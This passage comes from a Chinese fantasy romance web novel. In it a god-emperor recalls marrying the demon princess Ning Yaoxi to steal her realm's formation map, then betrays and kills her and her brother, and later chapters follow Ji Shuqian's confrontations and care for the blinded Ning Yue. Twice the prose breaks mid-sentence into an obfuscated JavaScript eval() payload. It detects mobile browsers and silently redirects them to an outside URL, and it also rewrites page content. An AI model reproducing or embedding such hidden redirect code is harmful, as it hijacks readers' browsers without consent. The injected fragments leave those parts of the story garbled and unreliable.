花园中一条铺满碎玉的走廊,一串串风铃般的花朵开满走廊,一串串垂下。斜阳倾洒,给走廊镀上一层碎金箔。 迎着碎金般的阳光,一袭月白色轻纱的宁瑶曦站在走廊的另一头。听到脚步声,她回头一望,惊鸿一瞥。 微风带起她额前碎发,额中垂着一粒小小的晶石,更添了几分神秘的美感。褪去了少女的青涩,她的美更加张扬。 一头墨发披散在肩,眉蹙春山,眼波流转,袅袅婷婷。头上插着两支对凤流苏,朱红玛瑙缀在发梢。裙摆上金丝密密绣出几朵并蒂莲,在光下更加耀眼,却也不及她半分。 宁瑶曦看着他一笑:“是你啊,好巧哦。” 他一时不知道说什么,只尴尬地笑了笑:“是啊,好巧……” 可他知道这份遇见,是踩着他哥哥的尸骨得来的。 他很清楚,他们之间不会有什么好下场。但一个酝酿了很久的想法,他要试试。 槐江山中的一切就像大梦一场。他和宁瑶曦走过覆着茫茫白雪的戈壁滩,在戈壁上勉强找了一个能容身的洞,吃了个平日都不会瞧一眼的烧烤。 一起走过会移动的森林,他牵着宁瑶曦的手在森林里东躲西闪,避开一根根藤蔓。 一起走过茫茫雪原,看千树万树银装素裹,挂着珍珠似的冰帘,宁瑶曦玩的不亦乐乎。 一起用法力造了艘小木船,那是他第一次试着做这些,形状歪歪扭扭的看起来会漏水。一直以来他父皇就要求他事事完美,他本想说重做一艘,可宁瑶曦在旁边惊讶地感慨:“这做的也太好了!”话到嘴边又咽了下去。 后来,他们乘着那艘小舟摇摇晃晃地驶在似有星空的河上,宁瑶曦不知是有意还是无意,枕在他的肩上睡着了。少女睡的香甜,该下船时他犹豫一瞬将她打横抱了起来。 还一起见过冰面上的秘密,在剑冢中并肩同行,在危机四伏的沟谷中相互依靠…… 可离开槐江山后,他忽然明白,这一切的一切只是大梦一场。 世人言;“浮生暂寄梦中梦,世事如闻风里风。”可大梦终一场,梦醒又彷徨。 他知道自己的内心对宁瑶曦是存了一份真情的,尔虞我诈的世事中,他爱那份弥足珍贵的纯洁,那份知道一切洞察人心,却还能长存的纯真。 可惜,他们不是同路人。 这一切都在他的算计之中……年少和宁景珩的那份好斗让他有一种欲望萌生,如果宁景珩知道自己的妹妹喜欢上了死对头,应该很有意思。 而且,最主要的并不是这个。 而是他要借宁瑶曦之手拿到魔界的阵法图,这无疑是一把捅向魔界的最好的刀。 魔界靠着先祖设下的阵法战无不胜,此阵不破,攻克魔界就遥遥无期。而这阵法图他知道只有宁瑶曦和宁景珩有。 事情的发展比他想的更快,他那一生追求权力的父皇,不知天高地厚地偷袭了魔界外出训练的魔兵。 酆都大帝一怒之下废了他半身修为,并且为了两界重修于好,他一纸婚约定下,让他和宁瑶曦联姻。 当时他所想便是天助我也。 可是当场,宁景珩就拒掉了这一纸婚约。 魔王早逝,身为储君的宁景珩一满千岁就继任魔尊之位。这件事本就是神界对不起魔界在线,既然魔君拒绝,酆都大帝也没有强求,就当是与魔界的补偿。 离开后,他一直心不在焉。不知不觉间,就走到了当时和宁景珩大打出手的那片后花园。 “哥,我可以嫁给他。” “不行,元?绝非良人,这件事不要再说了。” “可是哥,如今你手下本就造反,内忧外患,瑶曦总要做点什么。” “那也不需要你用婚约去换。” “可是我喜欢他……我既能与我喜欢之人在一起,又能换两界安宁,这不好吗?” 久久的沉默,花园中没了声音。 元?说不出自己是什么心情,他痴迷于那句我喜欢他,可也知道宁瑶曦的那份爱中属于他的始终不会多于宁景珩。 那时他不知道,这种感情叫做嫉妒。可嫉妒的来源,是他在意,爱而不自知最是可悲。 他嫉妒宁景珩和宁瑶曦从小相依为命,嫉妒他们兄妹间那份真挚的感情,在这人心险恶的世道中,他不信这种感情的存在。 可他没有发现过自己的内心深处其实渴求这种感情。 翌日,魔界公主自请与神界联姻消息震惊四海,大家都不明白,以如今魔界的实力,这位养尊处优的公主为何要同神界结亲。 神魔两界联姻,大婚自然办的隆重。神界所有的琉璃瓦都镀上了金箔,鸢鸟缠着红丝缎在天空中飞舞,金色烟花一朵朵绽开在天幕。 他记得那日问宁瑶曦,宁瑶曦笑着和他说:“我想要红色的婚服,就像人界那般,热热闹闹地办,我们走人界的仪式好不好。” 看着眉眼似画的女子,他点了点头:“都依你。” 他们不顾神界众神的质疑,在神界办了一场和人界大婚仪式一样的婚礼。月华殿被装饰地格外红,玉石墙壁贴上了红色贴画,颇有几分不搭之感。 那时他便心生几分感慨,他和宁瑶曦也是这般荒谬,没想到一语成谶。 入夜了,宾客纷纷散去后,他们回到了寝殿。往日冰冷的寝殿被装饰的别有一番风情,一尘不染的玉窗上贴满了艳粉浮金的喜字,还用金箔吹成如意的纹路置在壁上。 宁瑶曦依偎在他怀里,脸上被红色轻纱盖上,轻纱上还用金丝线绣了一个“喜”字。他犹豫一瞬,手微微颤抖着揭下了轻纱。 她比他想象中还要美,乌发盘成了发髻,两边插着长长的凤凰鲛珠步摇,红色的凤凰花似的宝石细密的镶嵌在金丝上。她本就生的很白,白皙的脸上有一抹绯红,胭脂淡淡扫开,平添一分娇媚。眉心贴了金色莲花状的花钿,更衬的她容貌艳丽。 他看着她半晌说不出话,最后只是淡淡一笑。 宁瑶曦也看着他淡淡一笑,香风拂面,他差点醉倒在她的温柔乡里。借着酒劲,有那么几个瞬间,他想给她说自己的真心。 可是到最后还是忍住了,千言万语深埋心底,他只是捧起她的脸,视若珍宝地吻了下去。 烛光跃动,红纱轻扬。婚服早已褪下散了满地,珠钗轻响。微光透过薄纱,他搂着她盈盈一握的腰身,似梦也似魂。 转眼多年一晃而过,瑶曦生下长子宁樾。宁樾诞生那日,从未现身的宁景珩罕见地出现在神界,带来一个要求:宁瑶曦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14611967|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所生的孩子必须用魔界皇室的姓,那时的他虽气愤却也不得不妥协。 瑶曦见到粉雕玉琢的宁樾很是高兴,看着他的五官一会儿说这个像他,这个像她自己。那时他也被逗笑了,小小的孩子抱在怀中,一时让他沉溺。 后来他和瑶曦决定给他取名单字一个“樾”,承的是愿他平安喜乐、一世无忧,加之宁樾生来就是个安静的性子,“樾”字与他再合适不过了。 看着在花园中蹒跚学步的宁樾和笑着看他的瑶曦,他都有想要放下执念的冲动。可每每想要放下之际,都会有无数个声音提醒他,这是你的宿命,不能放下。 这样的冲动在他遇到清允时消失的无影无踪。那时他父皇虽被废了半身修为,却依然掌握神界大事。 他常常告诉他:你将来是要做神帝的人,怎么能只有这一个女人,况且还是魔界的人,生下的孩子便是杂种。 但碍于魔界的面子,他不能正大光明地选妃,于是神帝想出一计:顺水推舟。 起初他是抗拒的,他知道以瑶曦的性子肯定会难过。但慢慢的他不这样想了,他本就是神界未来的神帝,自然是要广纳妻妾。 神帝为他选了南海水君长女清允,虽比不上魔界显赫,但在神界中也是名门望族。不同于瑶曦像铃兰般活泼,清允如兰花般娴静。 一切都很顺利,纸里终究是包不住火。他和水君之女清允有一个孩子的事情很快传遍神界,也传到了宁瑶曦的耳中。 他记得那日的宁瑶曦只是用一种从未有过的眼神沉默地看着他,沉沉地叹了口气。 他解释:“瑶曦,酒后误事,况且父皇一直催我纳妃……” 宁瑶曦看着他,忽而垂眸一笑:“……你是未来的神帝,纳个妃子替你开枝散叶总归是好的。” 那一刻他不知心底滋味为何……从那之后,他们就似隔了一片无形的海,同床异梦。 清允更加理解他,比起宁瑶曦,她更懂他的执念。他开始日日留宿清允那里,与她昼夜谈情,谈神界种种,谈雄心壮志。 千年弹指而过,清允为他生下了元容与和元祉,也在宁景珩的压力下和瑶曦有了宁瑈。 渐渐的,他发现他所有孩子中最出色便是长子宁樾,不仅剑法惊为天人,更是长了副好相貌……但他始终不愿承认,宁樾很想当年的宁景珩,甚至比宁景珩更加出色。 他开始忌惮宁樾,这一想法在试探宁樾之后更甚。宁樾和他截然不同,反而更像宁瑶曦,主张两界和平,不愿为神界谋私利。 那一谋划了千年的棋局要开始收尾了……尤其是在他得知宁景珩和宁樾一同解决妖兽潮时,保护宁樾受的伤旧伤复发时,他觉得这是个千载难逢的好时机。况且这时的宁瑶曦对他似乎没有戒备。 一切似乎都很顺利,那张他渴望了千年的阵法图就在宁瑶曦带来的陪嫁箱中。他甚至一遍就打开了陪嫁箱上的法阵——宁樾的生辰。 随着槐江山秘境的开启,他解决掉了最后的心头大患——宁樾,宁樾在剑法上的造诣太高,年纪轻轻飞升上神,现在的他极有可能不是宁樾的对手。宁樾去了槐江山后,他就能肆无忌惮地收拾这盘棋局。 这么多年,他其实早已看清清允那副安静不争不抢下的野心,可他需要这份野心,他们才是同路人。 这盘棋,清允陪着他一起做执棋人。她给他出谋划策:“解决完一切后,牵制住宁樾最好的办法就是宁瑈。”其实一提到他们兄妹,他总会想起宁瑶曦和宁景珩。 大战一触即发,有了阵法图一切都十分顺利,大阵一盘散沙般崩坏,宁景珩也真如传闻那般受了重伤。 这是他第一次赢过宁景珩,他从未见过那般的的宁景珩。明明从开始像是抱着和他同归于尽的想法,每一剑都是不计后果的打法,伤人伤己。 可是在最后长剑捅进了他胸膛时,他忽然将剑从他胸膛抽出,扔在一旁。 宁景珩看着他,眉间似有淡淡的无奈:“这魔王之位给你,你得到你想要的权力之后放过魔界万民。” 他顿了顿再补了一句:“放过瑶曦和宁樾宁瑈,不要辜负瑶曦的感情……” 他想也没想就答应了,笑道:“好。”权力近在咫尺,他顾不了那么多。 宁景珩似是在衡量他这句话的可信度,思忖半分后,摩挲着修长的手指,摘下了食指上的黑玉扳指。 他藏起眼中的那份热切接过了黑玉扳指,在手中细细摩挲着黑玉的温润,有这扳指便能号令魔军一统魔界,手握这六界最精锐的军队,他想想就想笑。 接过了扳指,他忽地将剑锋一转朝着宁景珩的心口刺去。 一抹轻纱拂面,亦如初见。来不及收剑的刹那,内丹的碎裂声如黑夜无声绽放的花朵。 “瑶曦!”宁景珩大叫一声扶住突然出现抱住自己的宁瑶曦,心口处血染红一片。 不知不觉间,他眼眶渐渐湿润,泪水蒙上视线时,他在心底撕心裂肺地喊着:瑶曦,你为何要替他挡?为什么啊? 宁瑶曦倒在宁景珩的怀里,唇角挂着一抹笑意:“哥哥……是不是……从始至终你都以为你在为我着想……” “其实不是的……瑶曦,也想给你做点什么。” “从小到大你护着我,疼我……看着你处理魔界动荡时,我就想着如果我能替你分忧就好了……” 她用渐渐暗淡的眼光睨了一眼一旁雕塑般的元?,虚弱道:“当初和神界联姻,我确实有过真心,可更多的,我是不想两界开战……可我没想到这个人会禽兽如此。” 他颤抖着看着他们兄妹俩,从始至终宁瑶曦没有一句话给他说……他明知宁瑶曦对他的感情,可当这一切赤裸裸地剖在他面前时,他还是接受不了。 怒急攻心,他猛地拔出狠狠刺入宁瑶曦背上的剑,剑光一闪,刺进了宁景珩心口。 那一瞬间连他都惊讶了,宁景珩没有抵挡。在余光看到他动作的时候,宁景珩只是嘴角牵起一个自嘲的笑,任由长剑莫没入胸膛。 …… 这一战赢得很轻松,可他心中就像缺了一块似的。直到晚上回到那个有淡淡兰花幽香的寝宫时,他才觅得一分安心。 佳人在怀,他和她聊着六界权力,畅想着神界取代酆都,谈笑风生,不知不觉间笑容挂了满脸。 49. 重忆过往 看到这里,季疏浅再也没忍住。反手一巴掌,格外清脆的“啪”的一声,神帝脸上瞬间多了一个巴掌印。 他一脸震惊地看着季疏浅,堂堂酆都大帝居然用这种方式扇了他。 季疏浅长舒一口气,虽然知道这样和珈若的身份不符,但她还是要这样做。反手又是一巴掌,直接将神帝连人带椅子一巴掌扇翻在地。 她怒道:“神帝,你真是卑鄙,为了权力不择手段。” 他冷笑一声:“不过是相互利用。” 季疏浅看着他一时无语:“相互利用?神后对你存了几分真心,你又对她存了几分真心?” 她想不到世上竟有这样卑鄙的人,果然元容与和他爸他妈都不是什么善茬。见他没有回答,她话锋一转:“神后若对你真无真心可言,她为何一点都不防备你?为何那陪嫁箱的法阵是宁樾的生辰?” “况且你到现在都不明白吗,她和神界联姻为的那是两界和平。” “够了。”元?忽然颤抖着打断她,牙关紧紧咬住,全身都冒着冷汗。 季疏浅看着他不愿再和他多说,正准备抽走这段记忆转身离开牢狱。却在转身的时候突然想起来一件事,又转了过去。 黑玉扳指?和她和宁樾在广陵城当掉的那个黑玉扳指难道是同一个?魔界权力无上的象征,宁樾就这么把它给出去了? 她一时觉得自己读不懂那个魔王宁樾。 “把那个黑玉扳指给我。”她冷声道。 元?也知道现在反抗只是多此一举,不情不愿地将食指上的扳指摘了下来递给她。 季疏浅拿到扳指后,冷冷看着他,嘴角挂起一抹嘲讽的笑容,笑意不达眼底。 “神帝,你不是穷尽一生追逐权力吗?” “那我告诉你,不光现在,过去的你也没实现。” “而且啊,不久的将来神界亡了……”说完,她冷笑着轻甩衣袖离开。留下在原地发愣思考的元?,什么过去、将来,神界亡了? 不可能,绝不可能。他近乎疯癫地在原地摇头,眼中血丝遍布。 季疏浅走出大牢,墨语在门口等着她,见到她行了个简单的礼:“殿下,神界二皇子在大殿外等您。” 元容与?季疏浅愣了愣,他来做什么? 她颔首道:“好。”闪身到了大殿外,月白锦袍的元容与在殿门外来回踱步。一见到季疏浅,他小跑到她面前:“珈……不对,现在该叫殿下了。” 季疏浅尽量克制住自己不流露出那种厌恶的神情,但还是难免有些异样的情绪:“何事?” 元容与察觉出这话里的疏离有几分失落,他看着季疏浅,毫不迟疑地伸手给她。 季疏浅看着面前的手有些摸不着头脑,就听到元容与说道:“这是神界的玉玺,神界权力的象征,殿下有这个调查事情会方便许多。” 他的话音落下,摊开手掌,一方小小的篆刻精美的玉玺出现在他掌心里,玉玺的侧面还有一块格外醒目的火焰纹。 季疏浅看着那一方玉玺沉默片刻,一言不发地接了过去。复又默默补上一句:“多谢。” 元容与摇了摇头,见季疏浅转身就要往大殿里去,忽然一把拉住她的衣袖。季疏浅下意识反应甩开了他的手,转头蹙眉看着他。 “对不起,冒犯了。”元容与垂眸惶恐地道歉。 季疏浅一想起他干的那些事情恨不得现在就给他来上两剑,面无表情地看着他。 元容与藏在衣袍中的手紧紧握住,掌心渗出细密的汗丝。他怯怯道:“殿下,你在乎那一纸婚约吗?” 这让季疏浅一时摸不着头脑,但她忽然想起她和元容与后来一切的开端就是元容与对她存了一份不该有的心思。 哪怕这是在皎月调中,她也不想和他多说,干脆应声道:“在乎。” 元容与愣了愣,他不甘心道:“殿下,是喜欢我多一些,还是喜欢宁樾多一些?” 季疏浅:?祖宗啊,你在说什么。 先不说元容与,就是宁樾,换珈若来都不会动心的。 她有些好笑的看着他,自己都想替珈若笑了,但面上还是挂着生人勿近的冷漠与疏离:“都不。” 这两个字就似利刃一般扎进了元容与的内丹,他傻站在原地,半晌没有动。 回过神来时,他眼尾沾上一抹红,有几分疯狂与燥热,一把拉住季疏浅的袖子,用一种近乎恳求的语气说道:“可殿下,你曾经不是说过,有什么事情我都可以来找你吗?” 季疏浅:?珈若你到底和元容与发生了什么,这烂摊子还得我来帮你收…… 她顿了顿,斟酌着言辞,其实前世今生她都没有和男子有过感情经历,她不知道该如何拒绝他。 她在脑海中迅速搜寻珈若和元容与的记忆,刚进皎月调时,她就有些好奇自己和元容与的过往,可是她对元容与的恨始终不散,她不愿看到那张表里不一的面孔。 可现在不管她情不情愿她都得去看看,不然眼下她啥都不知道更没法答复他了。 珈若对元容与的记忆并不多,有史可循的相遇是元容与被派去收复饕餮时。 “殿下,您知道上古凶兽饕餮冲破封印一事吗?”酆都大殿中香烟缭绕,金色纱衣的女子坐于玉椅上,眉间一粒金色砂粒,神圣而慈善。 珈若点了点头:“略有耳闻。” 善慧看着她微微皱眉地说:“那殿下您怎么看?” 珈若缓缓放下桌上的茶杯,凝眉看着善慧:“你是觉得有什么不对吗?” 见她看破了自己,善慧也不再隐瞒:“殿下,我是觉得饕餮突然发狂不符合我对它的认识。” 珈若闻言忽而笑了一笑:“何出此言?”她印象中的善慧不是会多管闲事的人。 善慧沉思一瞬:“我曾听说饕餮在上古凶兽中性情最是温和,平日不会轻易发狂伤人,可近日它屡屡袭击平民百姓,有些反常了吧。” 珈若想了想,看着她微微点了点头:“走一趟吧。” “那我同你一道去。”善慧见她起身,也理了理如瀑布般垂下的金色绸缎,随她而去。 那时,元容与奉元?之命前去处理饕餮作乱之事。他也听说饕餮性情温顺,所以并未放在心上。 但是真的对上了饕餮时,他才发现和他预料的完全不一样。不同于书上记载的温顺,这里的饕餮张着一张长满獠牙的血盆大口冲他而来,一双凸出的眼睛异常猩红。 而且今日饕餮的攻击力似乎异常强,接连扑上去的神兵都被它周身弥漫的黑烟瞬间击中不省人事,最后成为饕餮的盘中餐。 珈若和善慧赶到时看见的就是这样一副场景:元容与瘫倒在瘴气弥漫的森林中,一旁散落的是各种残肢断臂,他的右手臂不知所踪,强撑着想要用左手一步步爬离饕餮的血口之下。 眼看着饕餮盯着自己的盘中餐流口水,大口一嚎,朝他咬了下去。 千钧一发之际,珈若将虚华一横,闪身挡在他面前,饕餮的大口落在了冷硬似冰的虚华剑身上。 见饕餮愣神,珈若剑光一闪,长剑划破迷雾,一剑刺中饕餮,将它死死钉在几十米外的崖壁上。 她回头瞟了一眼地上的元容与,不带迟疑地蹲下身去查看他的伤情。她将手轻轻放在他脖颈上,给他送着灵力缓解疼痛。 珈若见他伤的不轻,眉头紧紧蹙着,她看向已经走到饕餮身边的善慧笃定道:“这其中绝对有问题。” 善慧没有搭她的话,只是一手做降魔印,眉心的金色砂粒浮动着淡淡的光芒。 珈若看着她一向淡淡的神情上罕见的有一丝错愕,不由得跟着皱了皱眉。她余光瞥到了昏迷不醒的元容与,叹了口气用手轻轻扶住他的左肩,将他靠在一棵树上。 “珈若,你看看……这是不是恶灵的气息?”善慧突然喊住珈若。 她在听到恶灵是浑身一颤,满是不相信地走到了饕餮旁,一抹灵力晕开,一缕缕缠绕上饕餮庞大的躯体,在触及它身上的黑烟时忽然变得张牙舞爪起来。 珈若神情瞬间变得僵硬,竟然真的是恶灵?可是恶灵不是全部被封印起来了吗? 她和善慧不约而同对视一眼,善慧明白了她的意思,眼眸低垂着不知道在想些什么。珈若也没有说话,任凭气氛陷入一种古怪的沉默。 片刻后,珈若手腕翻转,一座紫色小塔出现在她手心中,善慧看着她的动作低声惊了一声:“昊天塔。” 她将昊天塔往空中一抛,小塔瞬间放大好几十倍,从天而降困住饕餮。饕餮从喉咙里发出低沉的一声闷吼,可庞大的身躯被剑紧紧扎在壁上动弹不得。 昊天塔发出紫色幽光,将它笼罩在法阵中,随着光束越来越亮,刹那间饕餮被昊天塔收了进去。 珈若看着又变成原样的昊天塔伸手接住了它,定神看了一会昊天塔后,手掌在上面轻轻一抹,最后一丝黑烟也消失的无影无终。 “回酆都后我会派人彻查此事。” “珈若。”她正要将昊天塔收起来时,善慧突然喊住了她。 “我把饕餮带回去吧……我欠他一个恩情。” 珈若听完微微挑眉看她,牵动嘴角一笑,将昊天塔给了她。 善慧拿到昊天塔后朝珈若一笑:“多谢,这件事回去后我也会派人查查。”说完她就一挥手化作金色浮光消失了。 珈若在原地驻足思考了一瞬,看向靠在树上的元容与。她叹了口气,将元容与扶了起来,虚虚搂住肩膀带着他一同离开了这里。 珈若直接去了离得最近的人界广陵城。一是因为饕餮的毒性他手臂上的血还没止住,二是因为她存了份私心想顺带去逛逛。 或许是因为那时的人界大一统,广陵城比季疏浅生活的时候还要热闹,来往异族商人络绎不绝,车水马龙。 她将元容与带到一处客栈,打量起他的伤口来。手臂伤的格外重,没有断臂她还一时无法给他接上,内伤也不轻。 珈若皱起眉,施了个止血术止住断臂的血,又将手放在他心口,轻轻一转将灵力送进去。 淡蓝色的灵力似清泉般汩汩流进他的体内,元容与刚皱紧的眉头渐渐舒展开来。见他内力平稳下来时,她正准备起身走,但转念一想,他还没醒转,于是又转身在床榻边坐下,悠闲地泡了壶茶。 其实对她来说,能这样在人界待上一会儿的机会太少了,她极少能从酆都乱七八糟的事情中抽出空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他也没有指望神界会派人来救他,可他没想到最后竟然是这位没有交集的酆都公主救了他。 在此之前他对珈若的印象停留在性情冷的和冰雪一般的天之骄女和……宁樾本来的未婚妻。 他愣神了半天,才吐出来两个字:“多谢。” 珈若淡淡一笑:“举手之劳。”话音刚落下,她忽然看见他的眼神投向其它地方,就顺着他的目光看过去。 目光所及是桌上一个热气腾腾的烧鸡,珈若路过时见小小的摊位面前排起了长队,一时好奇也顺手买了一个。 她若有所思,起身走到桌前,捧起香味四溢的烧鸡在床榻边坐下。 “你吃吗?” 元容与怔怔地看着她,没明白这是哪一出,刚刚他还盯着花窗出神,不知道珈若为什么突然捧来这份烧鸡。 但是心头某一处忽然被什么戳了一下,酥酥痒痒的。 “吃……”他迟疑着答了一声。 珈若将荷叶打开,余光瞥了一眼他的断臂,寻思着他可能不大方便。于是就将汁水满满的鸡腿一把扯下……这个应该吃起来最方便。 她将鸡腿递给了元容与,又转身将桌上的各种糕点放在他面前:“你先吃,这些也可以吃,我已经传音给你父皇了,他们有人来接你。” 意思是她要走了吗?元容与看着她,忽然生出一种异样的情绪。 仿佛跟珈若待在一起心中就有一种莫名的镇定。 那一刻也不知道哪里来的勇气,他脱口而出:“公主殿下,您能治好我的手吗?” 珈若闻言,皱起了眉。今日她心情好,才格外宽容,但现在他竟然有几分得寸进尺。 “神界神医也能治。” “可是……如果我父皇见到我这样,一定会嫌弃我。”他突然哽咽着说。 珈若闻言站住了脚步,不知那一瞬是什么心情……后来她用面团捏了一条手臂再用灵力滋养,养个十天半个月也就和手臂大差不差。 她还听了他一晚的诉苦,用一种淡淡的语调安慰了他一宿…… 翌日,神界来人时,她也没有多待,最后留下了一句话就走了:“今后你有什么需要,可以来酆都找我。” a季疏浅在脑海中浏览过这些记忆后,憋着一口怒气没有呼出来。 珈若啊,你怎么这么好心,好心没好报啊…… 她觉得珈若和元容与的故事像极了京城中那些脍炙人口的无脑小故事,高高在上的贵女给了不受宠的皇子一份从未拥有过的温暖,贵女死后他就发了疯一般寻找替身…… 所以最后这造化就落到这一世她的身上了。 季疏浅越想越没好心情,冷冷打发他:“随口一说,二皇子不必较真。” 她话还未说完,元容与愣愣地看着她,口中喃喃道:“不会的,不会的。” 季疏浅不想理会他,顿了顿,化作一滩星辰消失在原地。 元容与下意识去抓她的衣角,轻纱拂过掌心,什么都没留下。他愣愣地摊开掌心,星光自他手中散开。 任凭他如何挽留都无济于事,星辰随风飘散,转眼不见星光。 50. 亲密 回到寝殿内,季疏浅看了眼仍未醒来的宁樾轻轻叹了口气,唤了声:“墨语。” “属下在,殿下何事?” 季疏浅想了想:“传唤过人来看了吗?” 墨语点了点头:“殿下,刚刚御医来过了,已经没有什么大碍了……”她忽然有些犹疑:“殿下……您给他渡了灵力?” 听到没有大碍了季疏浅松了口气,没有多想点了点头:“对。” 墨语神色有几分惊异:“殿下?”她一把握住季疏浅手腕:“殿下,您知道那样做很伤内丹的,为什么……” 季疏浅看着她,一时也说不上话。她总不能告诉她,因为她觉得自己用珈若的内丹无所谓,反正都是大梦一场。 她顿了顿:“这点小伤对我来说不算什么。” 墨语见她这样说也不好再说什么,嘴唇张了张却没有发出声音,她若有所思地看了一眼躺在季疏浅床上的宁樾。 “宁瑈小公主和滕曜我都命人安排好了,他们在另一个寝宫里歇息。” “好,麻烦你了。”季疏浅微微一笑,墨语做事格外让人省心,不知不觉她就想到了前世靖和军中她的得力副将萧无虞。 和墨语成熟稳重不同,萧无虞看起来一副不靠谱的样子,但做起事来也和墨语一般让人放心。 想到靖和军,她神色暗了暗。 忽然,她听见床上传来一声响,将她的思绪拉回当下,她起身走到床榻边。 宁樾的眼睛还是看不见,他只能摸索着陌生的床榻想要找到一个地方扶一把稳住身形,可一下没控制好力道,窗边的木桌被压的嘎吱一声。 季疏浅赶忙轻轻扶住他的肩膀:“别乱动。” 听到声音后,宁樾愣了一瞬,布满疤痕的脸看不出表情,沉默了许久他才用沙哑的声音说了一句:“谢谢。” “没事,你身上的伤已经没有大碍了,我去叫个御医来看看你的眼睛有没有什么办法。”说完,她转身就要往外走。 “疏浅。”宁樾突然喊住了她。 季疏浅有些疑惑地回头,就见宁樾闭着眼睛似乎是在寻找她的方向,他的声音听不出任何情绪:“你用内丹炼化了力量渡给了我?” 季疏浅一听咽了下口水,怎么都揪着这件事不放,她觉得无非是痛了一点啊,不过当时宁樾都那样了她也没想那么多。 “呃……一点点。”她仓促说完离开了房间,留下宁樾沉默地呆在床上。 昏迷时,他想明白了许多。 审判台上发生的事情就无疑在嘲讽他,不该对神帝抱有最后一丝侥幸,不该期待他念及父子之情网开一面……他不该期待一个沦陷在权力里的神会有什么亲情,在权力面前一切都是浮云。 他还想到了那个在审判台前不顾一切为他挡下天罚的姑娘……酆都大帝新丧,疏浅年纪轻轻就接上了这王位,本该他来替她分忧,结果最后是疏浅在百忙之中来救了他。 诸神面前,她想也没想就站在了他这一方,无疑于与神族那一帮人做对。异样的心情在心底生发,他一时不知道自己该如何面对她。 不仅如此,他还想到了在槐江山时他在弑神河底见到那个人……云崖之下,荒无人烟,百鬼夜行,那个被枷锁紧紧捆住的血肉模糊的人。 一个有些可怕的念头在心底生发,或许那个人就是他自己。他当时所见的那人双眼是两个血窟窿,浑身是被火燎上的疤痕,甚至也和他一样经脉寸断。审判台之下便是云崖,按流程来说,在审判台受刑后的他就该被扔下云崖。 这一切重合之后他不禁颤了颤,难道当时所见就是他的结局吗?可现在看来,一切都是不一样的,他一时没想明白这其中缘故。 就在他愣神时,门口传来脚步声,他发现自从没了眼睛,听力变的格外敏锐。 “我叫了御医,他来帮你看看眼睛。”季疏浅走到他身旁,有些担心地看了一眼宁樾。 她不知道这样一个天之骄子有朝一日成为这样会不会心理上受不了,幸好看着宁樾的表情没什么异样。 “好,多谢了。” 一个白发苍苍的老御医走了进来,他在一旁的雕花金丝木椅上坐下后,皱着眉头打量着宁樾脸上身上爬满的红色蜈蚣似的疤痕。 似乎是在琢磨着怎么说,他脸上纵横交错的皱纹拧作一团,看着宁樾颤巍巍地开口:“……这神火灼烧的伤一时半会不会好彻底,可能会有些疼……但殿下放心,老朽配几味药涂抹上小半年应当是能痊愈。” 闻言季疏浅皱了皱眉头,她曾经一度以为作为神拥有强大的愈合能力,应对这些灼伤还是能自愈的,现在看来她低估了神火的威力,也低估了人心的恶。 宁樾没什么反应,似乎是淡淡笑了一瞬:“麻烦先生了。” “诶没有没有。”白衣老者摆了摆手。 “医官大人麻烦了,那他的眼睛呢,您有什么办法吗?”季疏浅看向宁樾,语气中不易察觉地沾上一份担心。 老御医若有所思地看了看宁樾,心觉这样问虽然有些残忍但还是必须面对:“你的眼睛是怎么伤的?”言外之意,要是眼球还在那就好办。 季疏浅皱了皱眉看向宁樾,她最近一直在思考宁樾的心魔是什么时候生出来的,她可得察觉点。 “眼珠被人剜了。”宁樾语气平静地仿佛在陈述一件再平常不过的事了。 但在场的人都愣了愣,看着他眼神中满是震惊。 “咳咳。”御医眉头紧紧皱成川字,一时半会他也说不出什么好办法。 “医官大人,实在没有办法就算了,多谢。”宁樾出乎意料地打破了沉默,面上仍然没有什么表情。 季疏浅见他这样一时不知道说什么,只能带着希冀地看向御医:“先生,您真的没有办法了吗?” 御医长长地叹了口气:“唉,还是有一个办法,只是一时半会儿是好不了了。” “有一种淡粉色灵石极通人性,与神的情感相通。可以用这种灵石来代替眼珠,至少从外观上看着幻形出来和真的眼珠没有区别……养个一年半载灵性滋养,就能看见了。” 他端起桌上倒好的茶水抿了一小口,话锋一转:“但这种灵石早就绝迹了……” 话音落下,宁樾的眉头微不可察地皱了一下,随后竟觉得有几分荒谬,自嘲地笑了笑。 季疏浅沉吟了一下:“那医官大人可知哪里寻这种灵石吗?” 御医摇了摇头,有些沉默:“这种灵石效用极大,是做辅助法器绝佳的材料,问题在于这种灵石用一次便少一块,现在已经销声匿迹了。” 季疏浅叹了口气,等等,她转念一想。 浅粉色?辅助法器?她深吸一口气看向自己手腕上那一个粉色的镯子。 可是她犹疑了一瞬,这个镯子是她从现实带到皎月调中的,若是在这里用掉了那现实中这个镯子还会存在吗? 而且她不知道这个镯子有什么用处,如果是一个很好的法器……那岂不是有些浪费。 她下意识看了一眼宁樾,宁樾仍是容色淡淡的与平时无异,可季疏浅却觉得他变了许多。 一时间她说不清楚自己的内心,可最后理智还是被不理智战胜了,她在心底碎碎念:反正都有了虚华,要这个有什么用。 她不再迟疑,将自己的纤细的手腕露出来,一只桃夭色的手镯在她手腕上衬得本就白皙的手腕似白玉一般。 “医官大人,您看这只手镯的材料是要寻的那种灵石吗?”她将手伸到御医面前。 白发苍苍的老者只看了看就兴奋道:“正是!”浑浊的双眼都隐约透出一丝亮光。 季疏浅一笑,她果然没想错:“先生,那就用这只手镯吧。” “啊?”她话音一出,御医下意识看向她。 “不可。”宁樾忽然出声打断:“殿下不必为了我的眼睛炼化自己的手镯,这双眼睛不要也罢。” 